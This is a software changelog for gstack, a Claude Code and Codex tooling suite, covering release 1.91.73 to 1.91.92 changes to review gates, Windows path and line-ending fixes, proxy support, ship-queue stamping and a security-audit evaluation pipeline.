Gate edit: matchedCompleteMatrix and mandatoryReports (scripts/cso-eval.ts). Both gates used to require every report's helper completeness to be complete: no gap, and every domain assessed. The private corpus fixtures carry gaps by design. They have no workflow files for zizmor, their planted credentials are never tested live, .env is kept out of the sealed source, and gitleaks has no history to read. So no report could ever be complete, and no release could ever qualify. Both gates now require every report to be finished, on a complete, fully adjudicated matrix. A running, missing or failed report still fails them. Completeness stays its own measured rate: reports per group, and the evaluator's completenessRates. Garry approved this rule on 2026-10-11, choosing option (a). No threshold changed.

[1.91.92.0] - 2026-10-11

Outside reviews honor codex_reviews at the send, not in skill prose. Codex reasoning effort is a setting, and the README says what leaves your machine.

Consent in the binaries (#3102). gstack-codex-probe run-with-timeout, gstack-claude-code, gstack-outside-voice run and the unattended /autoplan runner read codex_reviews before anything starts. When it is disabled, or the config can't be read, or the value is unknown, they refuse with not_run / consent_missing (exit 3). The refusal prints the fix command and links the outside-review-consent-missing troubleshooting anchor. /ship design-lite and /design-review no longer hard-code consent, so codex_reviews=disabled now stops them too. /codex and /claude-code pass --user-invoked because you asked for those reviews by name. gstack-config get --stored <key> prints enabled, disabled, unset or unreadable (exit 2).

Reasoning effort (D1-A, #3098, closes #2934). run-with-timeout --effort <default> uses GSTACK_CODEX_EFFORT first, then gstack-config set codex_effort <level>, then the gate's own default, and appends model_reasoning_effort. An invalid level stops before any Codex call. /codex ... --xhigh sets the env for that dispatch. /spec keeps medium inside its 120 s budget. gstack-models list shows the effective effort.

Privacy text (#1081, #1080, #1150). The README's Privacy & Telemetry section now lists:

the telemetry fields and what is never sent

the local skill-usage.jsonl (repo and branch are stripped before upload)

the update check, which goes to GitHub

outside-review egress and its first-send notice

session markers and the timeline, which stay local

The telemetry prompt and the gstack-config header match it.

Thanks @Lockyer228 (#3098) for the GSTACK_CODEX_EFFORT precedence and its probe tests, and @lubosxyz (#2934) for the original env override.

[1.91.91.0] - 2026-10-11

Review gates fail closed: a Codex reply that lists P1 findings is never clean, /autoplan survives a Claude Code auto-compaction, and a read-only /plan-eng-review finishes DONE instead of BLOCKED (Wave 9 lane B).

Outside-review severities (#3105). lib/outside-review-result.ts now reads P0-P3 labels in label position for every gate that summarises a review, the execution gate behind /codex consult and challenge included: **P1 — x**, **P1** — x, 1. P2 — x, a bare P2 —, ### P1 and table cells | P1 |, plus the label-position severity words that only review/structured read before. A P0-P3 token in label position that none of these forms reads (## P1/P2 findings) is VERDICT: unverified with the new reason unparsed_severity, an UNPARSED: line N: "..." line and its own troubleshooting anchor; parsed P0/P1 findings still win (exit 3) and print the unparsed line too. A reply whose last Verdict: line says not ready with no readable severity prints FINDINGS: unspecified and exits 3. Code fences and inline code are quotes, not labels; an unlabeled consult answer stays clean.

Post-compaction journals (#3107). Claude Code 2.1.293 writes the kept conversation again after an auto-compaction boundary: new uuids, relinked parents, zeroed usage, identical otherwise. The owned journal reader (lib/claude-owned-journal.ts) now collapses such a copy into its pre-boundary original for every record kind, so the publication guard no longer denies every phase entry with tool_identity, a copied /autoplan prompt no longer trips init_own, and a copied end turn plus typed prompt no longer disarms the guard. A copy that differs in anything else, or a duplicate with no boundary between, still fails closed.

Read-only /plan-eng-review (#3106). When the caller forbids writing the report or the review log, the review now follows Report-back outcome: it returns the full report and ledger labeled not persisted, records telemetry success, ends DONE with PERSISTED: no, and its last line is PERSIST: <gstack-review-log command> for the caller to run. No new completion status; a failed permitted save is still BLOCKED. With no saved Eng Review, /ship's readiness dashboard now says to run that PERSIST: line or rerun the review.

Thanks @kolla23 (#3105) Thanks @kolla23 (#3106) Thanks @Mr-B-1 (#3107)

[1.91.90.0] - 2026-10-11

Windows checkouts stop breaking gstack's nested shell scripts on Linux, the timeline Stop hook repairs on Windows instead of timing out every turn, and the /setup-gbrain smoke test stops piping into gbrain put.

What this means for you

Nested scripts are LF everywhere (#3110). .gitattributes pinned only the top-level bin/ to LF, so Git for Windows (core.autocrlf=true) wrote skill bin/ helpers, the Claude hook shims, lib/cso/images/* and scripts/app/* with CRLF. A Linux bash reading that checkout (a synced tree, WSL, a bind mount) failed with set: pipefail: invalid option name, and /autoplan's publication hook exited 2, blocking every phase entry. Every tracked #! file now resolves to eol=lf.

./setup repairs existing CRLF copies. Pulling the new rule does not rewrite a file whose content did not change, so setup finds tracked files whose rule says LF but whose copy has CRLF and checks them out again as LF. A file you edited is left alone and named, with the command that rewrites it and keeps your edit (docs/troubleshooting.md#setup-crlf-repair).

The timeline Stop hook returns at once and repairs (#3103). Through Git Bash, gstack-slug took 2.2-2.8 s against the hook's 2 s budget, so on Windows the hook spent about 2.5 s on every turn and repaired nothing. It now reads the slug from gstack-slug's cache in-process (GSTACK_PROJECT_SLUG still wins). On a miss a hidden background process resolves the slug and repairs, one at a time under a lock, and a directory it cannot resolve is retried after 5 minutes instead of every turn.

The /setup-gbrain smoke test writes the page to a temp file (#1675) and runs gbrain put "$SLUG" < file, the shape gstack's other gbrain put instructions already use.

For contributors

test/gitattributes-eol.test.ts checks git check-attr eol for every tracked #! file and that no file git stores as binary is marked text (*.icns is now binary, since scripts/app/* would otherwise cover the app icon).

test/setup-crlf-repair.test.ts builds the broken state with a real core.autocrlf=true clone, runs setup's repair under the install registry lock, checks the repaired bytes and runs the hook.

test/timeline-stop-hook-slug.test.ts runs a copy of the hook against a slow stub gstack-slug and is force-included in the Windows lane. Native Windows latency is measured only if that lane runs it.

Thanks @Mr-B-1 (#3110) Thanks @Peaky8linders (#3103) Thanks @ElliotDrel (#1675)

[1.91.89.0] - 2026-10-11

Windows installs stuck on the Git Bash hook false positive get a one-line recovery, the auto-updater stops trusting only its own checker, and setup can no longer delete the checkout it runs from.

Since 1.91.31, gstack-hook-check on Windows (Git Bash) reported every TypeScript hook as bun could not bundle the TypeScript entry: Git Bash hands native Bun C:/… paths while the checker looked them up as /c/…. Setup refused the hooks, and team-mode auto-update held every later release because it re-checked each one with the broken installed checker. Code on main cannot reach those installs, so the troubleshooting page their messages link to now carries the recovery.

What this means for you

Stuck on Windows? Run cd ~/.claude/skills/gstack && git pull --ff-only --autostash && ./setup (your install directory if it differs). It clears the setup refusal, the held auto-update and /gstack-upgrade's is not a gstack checkout refusal. docs/troubleshooting.md#auto-update-hook-does-not-parse and #setup-hook-does-not-parse say so instead of "Nothing to do locally".

The hook check reads both path spellings. Bun's entry, input and error paths are mapped back to Git Bash's spelling, so healthy hooks pass and a real syntax error still fails with its own file and line.

One checker bug can't hold every release again. The auto-updater runs the incoming release's own bin/gstack-hook-check on the extracted archive. Only a verified, complete report counts; a crash, empty output or unreadable report falls back to the installed checker, and when neither gives one the update is held as hook-check-unavailable with the fix command. A pass the installed checker disputes is logged as HOOK_CHECK_DISAGREE.

/gstack-upgrade and /spec work in Git Bash. Their checkout-root guards check git rev-parse --show-prefix instead of comparing --show-toplevel (C:/…) with pwd -P (/c/…); a static test rejects the old comparison in skill bash.

/review and /ship record a start in a linked worktree on Windows. gstack-wtree treats Git for Windows' C:/… --git-path answers as absolute (#3101).

Setup never replaces a runtime root that holds its own checkout (#3084). With the checkout at ~/.cursor/skills/gstack, ./setup --host cursor used to swap the Cursor runtime root in over it and delete it. Setup now refuses before writing anything (and again in _activate_runtime_root, which every host arm that swaps a root goes through; Kiro, which writes into its root in place, is refused too), prints the commands that move the checkout out, and ./setup --status suggests that move instead of the destructive command. The install summary says "previous install was left in place" only after checking that the checkout, skills directory and runtime root still exist.

For contributors

bin/gstack-path-spelling.sh (shell spelling, native spelling, same-path, absolute, within) and its TS twin lib/path-spelling.ts own the /c/… vs C:/… class; only this release's call sites moved to them.

The Windows lane force-includes test/setup-hook-syntax-gate.test.ts; windows-setup-e2e runs the hook check on the checkout, the upgrade guard, and the documented recovery from a release with the false positive.

Thanks @yuriysan (#3112) Thanks @szsunyuan (#3108, #3128) Thanks @dmfrede (#3101) Thanks @skleinbe-ny (#3088) Thanks @bkermen (#3100) Thanks @andrewkjankowski (#3084)

[1.91.88.0] - 2026-10-11

Transcript ingest lands on gbrain 0.60, and /retro global counts every Claude Code session in its real repository.

Transcript sources get a checkout (#3097). gbrain 0.60's managed persistence refuses any import into a source with no active worktree binding on this host, and gstack registered every transcript source path-less, so every transcript page was refused (owner_unavailable) on every run. On a managed brain each transcript source is now bound to its own checkout, <state root>/gbrain-transcript-sources/<source-id>/, created by gstack as a git repository of its own (so gbrain binds that directory and never an enclosing checkout such as a brain-synced state root). A path-less source an earlier run registered is bound on the next run, the same way gbrain sources add <id> --path attaches a path to it; a resumed timeout checkpoint is admitted the same way before it imports. After each import the checkout holds one commit, the current page files, amended in place with no reflog so git gc --auto prunes old snapshots; it stays uncommitted while any page in the source lacks its file, so gbrain sync of the source can never soft-delete those pages. gstack never binds a source someone else holds (another host, or another directory on this host) and prints the owner, the inspect command and the release or re-bind commands, and it binds nothing under an ephemeral state root (GSTACK_EPHEMERAL=1). Classic (unmanaged) brains keep path-less sources, unchanged.

global-discover reads the session's own cwd (#1315). Claude Code project directories were decoded by turning every - into /, which fails for every hyphenated path, and the cwd fallback read a 64 KB prefix that recent sessions' first record outgrows. Each session's cwd is now read from its own JSONL, whole lines up to 1 MiB (a longer line is skipped and counted in a warning), and resolved through git to its worktree root: root and subdirectory sessions count the same, linked worktrees count with their repository, a nested repository counts as itself, and sessions outside a repository are not counted as one.

Thanks @Simba3696 for the root-cause diagnosis (#3097). Thanks @Akagilnc for the two-bug diagnosis and measurements (#1315).

[1.91.87.0] - 2026-10-11

The paid CSO producer gives /cso the Agent tool users have, so independent review and repair verification can run in the evaluation. The producer's receipt now counts subagent tokens.

The current-skill smoke reports (run 38090891646) said repair verification was "not performed": record-review refused the review with "Repair review must be explicitly independent". The producer started Claude with --tools Bash,Write, so the Agent tool was missing. /cso could start no independent reviewer, honestly declined to attest independence, and so every repair stayed not_attempted. Users' Claude Code has the Agent tool. The v2 skill's parallel finding verification uses it too, and fell back to self-verification in the v2 baseline for the same reason.

What this means for you

The producer allows Bash,Write,Agent. Subagents inherit the whole policy. Claude Code 2.1.263, replayed against a mock API through the real producer, shows this in practice:

A subagent has only Agent, Bash and Write, and no MCP servers.

Its launcher calls run unsandboxed and reach Docker. Its other Bash is denied, including chained, path-variant and dangerouslyDisableSandbox commands.

--restricted keeps its Write calls inside the producer's work and helper directories.

Read, WebFetch, ListMcpResourcesTool and mcp__* tools are unavailable to it.

A subagent's record-review is accepted (self_attested), and verify then passes the review check.

Policy revision claude-2.1.263-cso-v2. The tool set changed, so the producer policy identity changed with it. A recorded v2 baseline bound to cso-v1 no longer matches, and the baseline must be measured again under this policy.

Subagent tokens are counted. A result event's usage covers only the main thread's last turn. The receipt now takes the session total from modelUsage and sums turns across every result. A background subagent gives the main thread a second result. A killed run also counts the subagent messages it streamed.

Itemized changes

Changed

test/helpers/providers/claude.ts: --tools Bash,Write,Agent (CLAUDE_PRODUCER_BUILTIN_TOOLS). assertClaudeProducerSandboxPolicy also pins --tools, --permission-mode dontAsk and exactly one each of --restricted, --safe-mode and --strict-mcp-config. It refuses --mcp-config, --agents, --plugin-dir, --setting-sources, --disallowed-tools and the permission-bypass flags.

test/helpers/providers/claude-stream.ts: tokens from modelUsage, turns summed over results, subagent messages counted once by message id, and only main-thread text kept as a killed run's output.

scripts/cso-eval-producer.ts: Claude policy revision claude-2.1.263-cso-v2.

For contributors

test/provider-model-defaults.test.ts: the tool list and each new policy refusal.

test/claude-producer-stream.test.ts: subagent accounting with the event shapes Claude Code 2.1.263 printed in the replay, including a background subagent's second result and a killed run.

[1.91.86.0] - 2026-10-11

browse follows the proxy your shell already uses, writes PDFs on Windows machines whose temp dir is an 8.3 short path, and stops spawning --config=NUL children that crashed Bun 1.3.10 (Wave 9, lane E).

What this means for you

Proxy from the environment (#915). Without --proxy, browse takes the proxy from BROWSE_PROXY_URL, then HTTPS_PROXY, HTTP_PROXY and ALL_PROXY (upper case before lower case). BROWSE_PROXY_URL=direct opts out. NO_PROXY becomes Chromium's bypass list, and loopback is always bypassed. The proxy and the NO_PROXY rules are part of the daemon config, so a session with a different environment is refused with the variable named instead of silently reusing a daemon that routes differently. The refusal offers browse stop, which now stops any daemon whatever its proxy or headed settings. A standard variable that doesn't parse (curl-style host:port) prints a warning and browse connects directly; a bad --proxy or BROWSE_PROXY_URL still fails, so a typo never quietly exposes your IP. socks5h:// works as socks5://. See BROWSER.md, "Proxy from environment".

8.3 temp paths on Windows (#3104). make-pdf and browse pdf failed with Path must be within: C:\Users\BURCIN~1\... because the safe directories and the target went through different realpath functions. Both sides now use one (fs.realpathSync.native), resolved paths compare exactly, and only a tail that doesn't exist yet is case-folded on Windows.

No more Bun crash windows on Windows (#3085). The terminal agent, the native-cookie supervisor and its worker passed --config=NUL, which panicked Bun 1.3.10 at flag parsing; the respawn loop turned that into a crash window every few seconds. All three now get an empty bunfig.toml created in a private directory and re-checked to be zero bytes before each spawn. POSIX keeps /dev/null.

Itemized changes

Changed

browse/src/proxy-config.ts: resolveProxy (precedence, direct, cred policy for env URLs, warning fallback), noProxyToChromiumRules, withLoopbackBypass, serverProxyEnv; socks5h accepted as socks5; computeConfigHash takes the NO_PROXY rules (unchanged hash when there are none).

browse/src/cli.ts: resolved proxy source and bypass reach every server launch (start, crash restart, headed connect and its supervisor); the startup line names the source; proxyMismatchLines refusal; browse stop skips the config-mismatch check.

browse/src/server.ts, browse/src/browser-manager.ts: Chromium gets the bypass rules; the state file records the redacted proxy, its source and its bypass.

browse/src/path-security.ts: resolveRealPath, one realpath for safe directories and targets. browse/src/write-commands.ts: cookie-import uses validateReadPath.

browse/src/bun-child-config.ts: emptyBunConfig(); bunChildFlags() replaces BUN_CHILD_FLAGS.

For contributors

browse/test/proxy-env.test.ts, browse/test/proxy-env-daemon.test.ts (a local proxy across launch, reuse, a NO_PROXY-only change, direct and restart), browse/test/path-security-realpath.test.ts, browse/test/bun-child-config.test.ts.

Thanks @ningfeemic-dev (#916) Thanks @bkermen (#3104) Thanks @adammartin0087 (#3085)

[1.91.85.0] - 2026-10-11

/cso works on Windows Git 2.56 and gets Docker on macOS, /test-audit and /ship loop correctly under zsh, and the deploy skills stop at the honest point (Wave 9 Lane D).

/cso on Git for Windows 2.56. Every CSO Git child, and the eval fixture and producer identity reads, now set GIT_CONFIG_GLOBAL=/dev/null on every platform. Git 2.56 rejects NUL there ("unable to access 'NUL'"), so /cso could not read any repository on Windows and doctor reported static-snapshot: missing. GIT_CONFIG_NOSYSTEM=1 stays, POSIX is unchanged, and a new free test that also runs in the Windows CI shards proves git config --global --list is empty under the CSO environment. Thanks @Alfabit7 (#3082).

/cso admits the local Docker socket on macOS. Bun's realpathSync opens its target to resolve it, and a Unix socket throws EOPNOTSUPP, so every macOS run rejected Docker and fell back to static-only. On exactly that error the socket path is now resolved without opening it (canonical parent plus lstat/readlink); the endpoint must still be a local unix:// socket pinned by device and inode, TCP and SSH endpoints are still rejected, and Linux takes the unchanged path. The registry-broker socket mount uses the same resolver. Thanks @nathanshox (#3094).

zsh-safe file loops. /test-audit's near-duplicate seed and /ship's base-control fixture copy looped with for f in $VAR, which zsh (the Bash tool's shell on macOS) runs once with the whole list. Both now split the list explicitly, and a static test rejects any generated bash block that loops over an unquoted variable. Thanks @vilano93 (#3109).

/setup-deploy stops when nothing is live yet. The deploy-trigger question separates "nothing is deployed yet" from "this project never deploys". The first stops and writes nothing, telling you to bring the site up with the platform's own tool and re-run /setup-deploy; the second still records the none configuration. Thanks @mikehasa (#3095).

/land-and-deploy runs a recorded command trigger only with approval. When Deploy Configuration records a command as the deploy trigger, Step 5 says production has not moved, names the command and asks you to run it, or runs it only with your explicit approval, before polling for a deployment tied to the merge; a zero exit is not revision proof. Thanks @mikehasa (#3096).

TODOS.md records the Wave 9 triage: the remaining open P2/P3 bugs by area with their root-cause files and sizes, the parked items (#2118, #2623, #3061, #3084's legacy Cursor folders, #1315's session wording, the gbrain put stdin pipe from #1675) and the 73 feature requests grouped into twelve themes with counted demand.

[1.91.84.0] - 2026-10-11

A paid CSO baseline can be scored, and it measures what audits found. Three producer/scorer mismatches made gstack's own collect reject every real producer receipt from the first full baseline. Collect and score now accept real receipts of every kind, a test feeds them through, and findings count from every finished report, with completeness kept as its own measured rate.

The first full paid v2 baseline produced 64 receipts and 64 judge records, then scored unmeasured with INVALID_PRODUCER_RECEIPT. Run against that run's retained artifacts, collect failed on three separate mismatches in turn:

Artifact order. The producer sorted its artifact inventory with localeCompare, so package.json came before README.md. Collect required strict code-unit order, and 62 of 64 receipts failed.

Per-platform catalog bytes. Next came UNMATCHED_PRODUCER_INSTALLATIONS. Each platform's producer unit generated its own evaluation catalog, and evaluation-candidate stamps qualifiedAt with the current time. The two embedded catalogs differed only in that timestamp and the evidence digest over it.

Case-id namespace. The last mismatch is in the private evaluator: judges named matched cases by their private id instead of the matrix's opaque id. The evaluator fixes it at its own boundary.

What this means for you

Findings count from every finished report. Before this, the scorer counted a cell's findings and runtime outcomes only when the helper report was complete, meaning no gap and every domain assessed. Real audits nearly always record some gap, such as no web advisory lookup or credential liveness left untested, so all 64 paid cells scored partial and the baseline found 0 of 32 seeded issues. EvalResult now carries a required reportFinished (helper status finished). Precision, recall, found seeded issues, runtime outcomes and tested repairs count from finished reports. A running or missing report still counts nothing, and neither does a report behind a failed producer receipt (a timeout, a failed post-run check, or output withheld for a credential), whatever the judge read there; that report also counts as not complete for the two gates below. Completeness is still measured on its own: each group reports reports (complete) and finishedReports, and the existing mandatoryReports and matchedCompleteMatrix gates still require complete reports. No threshold changed.

Inventories are checked for unique paths, not order. The order stays bound by the inventory's identity hash. New producers sort by code unit, so the identity no longer depends on locale.

evaluation-candidate --created-at <ISO time> pins every runtime's qualifiedAt. Builds given the same value write identical catalog bytes, so per-platform units embed the same catalog.

collectProducerReceipts(…, embeddedCatalogs) handles units that already embedded different catalogs. When the platforms' catalog hashes differ, it accepts them only if the supplied catalog bodies hash to each platform's runtimeSha256, validate, share revision and scanner identity, and are identical apart from qualifiedAt and the evidence digest. The batch then carries those bodies, and scoring re-checks them. Without bodies, or with any other difference, the result is still UNMATCHED_PRODUCER_INSTALLATIONS.

Itemized changes

Changed

scripts/cso-eval.ts: EvalResult.reportFinished (required, implied by reportComplete, implies reportPresent) gates counted findings and outcomes. Groups add finishedReports. Collected scoring and createEvalBaseline count a failed receipt's result as neither finished nor complete.

scripts/cso-eval-producer.ts: artifact inventory sorted by code unit.

scripts/cso-eval.ts: validateArtifactInventory requires unique paths. assertPlatformIdentities accepts the catalog-equivalence proof. ProducerBatch.embeddedCatalogs is optional.

scripts/cso-runtime-promotion.ts: evaluation-candidate takes an optional --created-at. Documented in docs/cso-release-qualification.md.

For contributors

test/cso-eval.test.ts: finished partial reports count findings while the completeness gates still fail. Running and missing reports count nothing. A baseline finds a seeded issue in a finished partial report and never in a running or missing one.

test/cso-eval.test.ts: in the real-receipt baseline, a seeded issue is found exactly where the vulnerable cell's receipt succeeded.

test/cso-eval.test.ts: real producer receipts, one per kind (succeeded, span-redacted, credential-withheld, timeout, post-run check failure), with mixed-case helper artifacts, go through collect, createEvalBaseline and scoreCollectedEval. Locale-ordered inventories are accepted and duplicate paths rejected. Catalog equivalence passes with the bodies and fails without them, with a body missing, duplicated, or with a moved image.

test/cso-runtime-promotion.test.ts: two evaluation-candidate --created-at builds write identical bytes.

[1.91.83.0] - 2026-10-11

gstack ships itself under stamp-at-merge. .gstack/ship-policy.json flips queue_mode to stamp-at-merge, bump to patch and names garrytan under maintainers. The version is now allocated once, when the PR is next in the queue (gstack-restamp --next --expect-base --expect-order), instead of claimed at open and re-slotted on every reorder; every bump is PATCH, so unattended ships never meet the MINOR/MAJOR prompt; and /review contributor mode reads the maintainer set from the file instead of calling the collaborators API. docs/ship-policy.md gains the queue-side procedure: what a PR carries before its stamp, who runs the restamp and when, and what the merging thread verifies on the exact SHA instead of "VERSION above main".

[1.91.82.0] - 2026-10-11

Plan-review reality rows name their inputs. The {{PLAN_REALITY_ROWS}} prose in plan-eng-review, plan-ceo-review and the autoplan CEO/Eng phases wrote gstack-plan-reality check --phase <p> <review> without saying what <review> is, and the completion summary cited a PLAN_REALITY line no step produced. The check now reads <review-file|-> (the review you wrote, or stdin) and says it prints the PLAN_REALITY: line the summary cites. Found by the plan-eng-review workflow judge on an unrelated PR (clarity 3 / actionability 3 median, both citing these two references).

[1.91.80.0] - 2026-10-11

/eval-plan prices its default arms out of the box. lib/pricing.ts gains verified rows for claude-opus-5-5 ($4 / $20 per MTok, cache reads $0.20; Anthropic list prices effective 2026-10-07) and gpt-6.1-sol ($2 / $10 per MTok, cached input $0.10; OpenAI model page, standard tier), the two models gstack-models resolve --role eval-arms returns under the default smart implementation tier. gstack-eval-plan arms previously exited EVAL_PRICE_MISSING for both; the fail-closed rule is unchanged, only the data was missing.

[1.91.79.0] - 2026-10-11

/eval-plan preregisters paid evals for your product, coordination tools keep parallel lanes from colliding, and the autoplan owner sees a one-page brief instead of the full review (multi-agent wave PR E, plan items E1 tier 1, E2, E3).

/eval-plan (tier 1). gstack-eval-plan checklist renders the preregistration checklist (bars, arms, decoys, stop rules, held-out exposure); dry-run runs the $0 stub model over real input shapes and checks the price-table row, the output budget for reasoning models and the retry prompt's actual text; pilot runs n≈3 through lib/spend-ledger.ts and prints the extrapolation with an error band before the approval ask; arms resolves gstack-models resolve --role eval-arms. PRICING moves to lib/pricing.ts with its excluded billing categories documented; a model without a verified row fails closed with EVAL_PRICE_MISSING. Tier-3 steps are named in the skill as tier 3, after P7.

Coordination. gstack-lane-check diffs in-flight branches and PRs against planned files and reports each intersection with the PR number and hunk count (LANE_CONFLICT). gstack-evidence verify <bundle> reruns probes and marks each claim verified or unverified. {{COORDINATOR_CONTRACT}} (merge conditions, behavior-change notices, spend caps, handoff format) renders into autoplan and the spec --execute spawn, and gstack-autoplan contract prints the identical bytes. scripts/ubicloud/ubi-runner.sh tags VMs by owner, adds list --mine, usage, records and own-VMs-only gc, and records a VM before creating it. test_backend (local | ubicloud) joins the config and the doctor cores row recommends ubicloud under 8 cores. Ship gains the Step 18-H no-PR handoff section; cross-thread messages carry full thread ids.

What the owner sees. autoplan Phase 4 writes review-record.md and presents gstack-owner-brief render: the URGENT, outside this plan block first, a plain summary, then the numbered decisions seven per page with stable ids, auto items showing the default taken and approval items pending; close --plan rewrites every draft direction stands until the owner decides line to the decided option and date. /review --contributor (auto-detected via gstack-contributor-mode detect: maintainers in .gstack/ship-policy.json, else push permission, else off, source recorded) reviews outside PRs as evidence first with an accept/supersede/decline table and emits credit lines only when a diagnosis or test carried over. gstack-banned-terms check runs on every /review and /document-release diff from .gstack/banned-terms.json, naming the term, file and allowed locations.

[1.91.78.0] - 2026-10-11

Plan reviews check reality before they check taste, /review and /cso look sideways from every finding, and /investigate ships recipes for flakes, polluters, races, eval bisects and backlog triage.

Multi-agent wave PR D (docs/designs/MULTI_AGENT_WAVE_2026_10_10.md, items D1–D3). The reviews of this wave's own plan found that the most expensive mistakes were premise errors (a file:line that did not say what the plan claimed, a thing already built, a number nobody re-derived), so those checks are now rows every plan review must fill.

What this means for you

Reality rows in plan reviews. plan-ceo-review, plan-eng-review and /autoplan render one REALITY: <row> pass|finding|n/a <summary> <file:line> line per row: premise table (every factual claim with a receipt; unverified=<n> is scored), already-done, surface check, binding decisions, numbers re-derived from raw data, deferred asks, PR count. Eleven tier-2 rows (db, perf, search, incident, dependency) load only under --scope. bin/gstack-plan-reality rows|check prints the applicable rows and the verdict line PLAN_REALITY: phase=… rows=n/m missing=… verdict=complete|incomplete|repair; an unattended run with a missing row is incomplete, never a warning (REALITY_ROW_MISSING, REALITY_RECEIPT_MISSING). Each tier-1 row ships with a positive fixture taken from this wave's own review record and a decoy.

Sideways review. /review Step 4 greps every finding's pattern at every other ingress, command and call site, takes the worst sibling's severity, and forces CRITICAL for data loss, trust-boundary bypass and uncapped spend (vocabulary unchanged: CRITICAL/INFORMATIONAL, no lane downgrades). The checklist names the shapes to sweep: siblings, caches in front of guarded or metered calls, static→dynamic imports, parity claims, pool queries inside a caller's transaction, test-only flake fixes. The Scope Check gains Diff read: full|partial and Undeclared behavior changes:; CLEAN counts as approved only after a full read. The flake-fix rule (P(fail | regression) before and after, else RH-15) is shared with /investigate. /cso Phase 12 does the sibling sweep only.

Investigate recipes. /investigate gains an ## Arguments table and five carved sections: flake (reproduce on main in a worktree, failed/N, forced probe, never loosen, paid evals never retried, required ## Flake evidence), polluter (CI-order bisect, POLLUTER: line), race (probes, forced interleaving, Promise.allSettled writer template), eval-bisect (distinct revisions, cached cheap scorer, detached runs with the sentinel) and backlog (--backlog: still_open needs a run repro, already_fixed <commit>, partially_fixed, owned_elsewhere, contributor PRs as evidence only). Phase 1 adds call-sites-before-duplicates and git update-index --refresh before timing git in a worktree (also in /benchmark).

Itemized changes

Added

lib/plan-reality.ts, bin/gstack-plan-reality, scripts/resolvers/plan-reality.ts ({{PLAN_REALITY_ROWS}}); scripts/resolvers/sideways.ts ({{SIDEWAYS_SWEEP}}, {{FLAKE_FIX_NUMBER}}); investigate/sections/{manifest.json,flake,polluter,race,eval-bisect,backlog}.md; fixtures test/fixtures/multi-agent-wave/reality-rows.json (+15 INCIDENTS.md rows); two result codes with troubleshooting anchors.

Changed

scripts/resolvers/plan-gates.ts (review mode): Diff read, Undeclared behavior changes, full-read approval rule; ship's byte-pinned plan-completion untouched.

Templates: plan-eng-review Scope Challenge + deep incident table, plan-ceo-review 0A/0B + Completion Summary, autoplan ceo/eng phases + Pre-Gate table, review Step 4 + checklist, cso Phase 12, investigate skeleton, benchmark Phase 1. CARVE_GUARDS gains investigate; caps refreshed with measured ratios (plan-ceo-review +960 B, plan-eng-review +3,794 B, autoplan +851 B, review +923 B replacing the enum paragraph, cso +51 B; qa and ship untouched).

For contributors

New tests: test/plan-reality.test.ts (18), test/sideways-review.test.ts (8), test/investigate-recipes.test.ts (9); test/skill-fixture.test.ts pins the sideways paragraph as its extraction anchor.

Not in this release: gstack-autoplan submit does not yet call gstack-plan-reality check itself (the runner landed in parallel); a parent loop runs the check before submit. Automatic tier-2 scope detection waits for the runner's scope set to grow beyond ui/dx.

[1.91.77.0] - 2026-10-11

/ship now runs a two-stage pre-gate before anything paid, regenerates generated files from a committed registry, and links issues only on explicit intent (multi-agent wave C-pregate, plan items C4, C6, C8 tier 1).

gstack-pregate (lib/pregate/*). Stage 1 is the mechanical preflight (regen, secrets, strays, literals), stage 2 runs the test lanes the touched files select, with a separate clock each; results record the tree identity they ran against and go stale when the tree moves, so gstack-ship-receipt write --pregate refuses on PREGATE_STALE, LANE_FAILED, INCOMPLETE or REMOTE_UNCLEARED and writes nothing. Lanes come from the repo's own workflow files; a lane this machine cannot run becomes a persisted requires-remote obligation cleared with gstack-pregate clear --run-url. secrets and required lanes cannot be downgraded in .gstack/pregate.json; repo-declared commands run only from /ship or with --allow-repo-commands, otherwise the check is incomplete, never pass.

gstack-regen + .gstack/generated.json. check runs each registered generator in a scratch worktree and diffs the outputs; write records sha256 pre/post; gstack registers skill-docs and ship-goldens (scripts/gen-ship-goldens.ts).

gstack-issue-links. Fixes #N only from a Fixes/Closes/Resolves trailer or --issue; bare mentions, partial work and cross-repo references render as Refs; an unreadable closure issue downgrades to Refs with ISSUE_UNREADABLE; --ci-run <id> adds Flake: #N (run <id>). Step 18 renders the ## Issues section from it.

Step 5 lane example collects every background lane's PID under set -o pipefail and fails on any non-zero exit, so a | tail-hidden failure can no longer pass.

Tier 2 checks (guards, ratchets, lint, links, hermetic, patches, integrator) are named in docs/pregate.md as a follow-up; 14 new result codes with troubleshooting anchors.

[1.91.75.0] - 2026-10-11

CSO paid producers no longer fail a successful audit because the final summary quoted the helper's own run ID. Credential-class text still withholds the output and fails the receipt, and the reason now names the matching redactor rules and counts.

In the first paid baseline both smoke cells finished their audits, then the producer marked each receipt failed with Sensitive producer output or error withheld. The producer treated any redactor match as a leak. A CSO run ID such as <13-digit epoch>-<hex16> matches pii.phone.e164, and some also match pii.cc. The fixtures' metadata address and a PRIVILEGED label also match. Replaying a mock provider through the installed producer, a summary of just "complete — assessed source in run ." failed on 1.91.73.0 and succeeds now.

What this means for you

Rule-named failures. A credential-class match (the redactor's secret category) in the output, the error, or either concatenation still replaces the output with [sensitive producer output redacted] and fails the receipt. The reason is now Sensitive producer output or error withheld: credential-class rule <id>×<count>, … and never includes the matched text.

Source canaries quoted bare. Values assigned to credential-shaped names in the cell's verified source (the env.kv rule), such as a planted canary, are matched exactly, including across output and error. They fail as source.env.kv, because no pattern recognises such a value once it is quoted without its name.

Helper identifiers survive. Run and replay IDs, cso-eval-<run>-<sha12> catalog revisions, <tool>-<hex16>-<hex16> artifact IDs and hex finding, review and content IDs are set aside before the PII, internal and legal rules run. Those rules now replace their spans in place (<REDACTED-<rule>>) and no longer change the receipt status. Scoring reads the helper's report, and the evaluator still scans outputs for its canaries.

Itemized changes

Changed

scripts/cso-eval-output-redaction.ts (new): redactProducerText and sourceCredentialValues. sanitizeProducerRun in scripts/cso-eval-producer.ts uses them; the source values are collected once after the source is sealed and validated.

For contributors

test/cso-eval.test.ts: helper IDs kept with PII spans redacted in place; env-line and Anthropic-key outputs fail with their rule names; a source canary is withheld whole or split across output and error. The existing canary test now expects the rule-named reason.

[1.91.73.0] - 2026-10-11

"Ship, next in queue at " with zero manual stamp edits: a committed repo ship policy, gstack-restamp that stamps a PR only when it is next to merge (and re-stamps after a reorder in one step), a tree receipt that proves the only change since the gate was the stamp, a portable evidence bundle, and a ship receipt in the PR body.

Reordering a release queue used to mean hand-editing VERSION, CHANGELOG headings, (was X) mentions and the lockfile on every PR behind the moved one, then re-running a full gate on a tree that differed only by those bytes. This release (multi-agent wave PR C-stamp) makes the stamp one command and the gate decision a receipt.

